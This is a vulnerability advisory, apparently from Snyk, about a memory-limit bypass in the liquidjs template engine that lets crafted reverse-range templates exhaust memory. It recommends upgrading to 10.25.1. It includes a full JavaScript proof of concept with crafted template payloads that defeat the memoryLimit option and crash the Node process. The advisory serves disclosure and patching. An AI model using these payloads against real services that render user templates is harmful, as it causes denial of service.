Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applicationsLearn about Allocation of Resources Without Limits or Throttling vulnerabilities in an interactive lesson.
Start learningUpgrade liquidjs to version 10.25.1 or higher.
liquidjs is an A simple, expressive, safe and Shopify compatible template engine in pure JavaScript.
Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through improper validation of range values in the use function. An attacker can cause the process to crash and render the service unavailable by submitting specially crafted reverse range expressions and triggering memory allocation operations that bypass configured limits.
Note:
This is only exploitable if user-supplied templates are rendered with the memory limit option enabled.
const { Liquid } = require('liquidjs');
(async () => {
const engine = new Liquid({ memoryLimit: 1e8 }); // 100MB limit
// Step 1 — Baseline: memoryLimit blocks large allocation
console.log('=== Step 1: Baseline (should fail) ===');
try {
const baseline = "{% assign s = 'A' %}{% for i in (1..27) %}{% assign s = s | append: s %}{% endfor %}{{ s | size }}";
const result = await engine.parseAndRender(baseline);
console.log('Result:', result); // Should not reach here
} catch (e) {
console.log('Blocked:', e.message); // "memory alloc limit exceeded"
}
// Step 2 — Bypass: reverse ranges drive counter negative
console.log('\n=== Step 2: Bypass (should succeed) ===');
try {
const bypass = "{% for x in (100000000..1) %}{% endfor %}{% for x in (100000000..1) %}{% endfor %}{% assign s = 'A' %}{% for i in (1..27) %}{% assign s = s | append: s %}{% endfor %}{{ s | size }}";
const result = await engine.parseAndRender(bypass);
console.log('Result:', result); // "134217728" — 134MB allocated despite 100MB limit
} catch (e) {
console.log('Error:', e.message);
}
// Step 3 — Process crash: cons-string flattening via replace
console.log('\n=== Step 3: Process crash (node process will terminate) ===');
console.log('If the process exits here with code 133/SIGTRAP, the crash is confirmed.');
try {
const crash = [
...Array(5).fill('{% for x in (100000000..1) %}{% endfor %}'),
"{% assign s = 'A' %}{% for i in (1..27) %}{% assign s = s | append: s %}{% endfor %}",
"{% assign flat = s | replace: 'A', 'B' %}{{ flat | size }}"
].join('');
const result = await engine.parseAndRender(crash);
console.log('Result:', result); // Should not reach here
} catch (e) {
console.log('Caught error:', e.message); // V8 Fatal error is NOT catchable
}
})();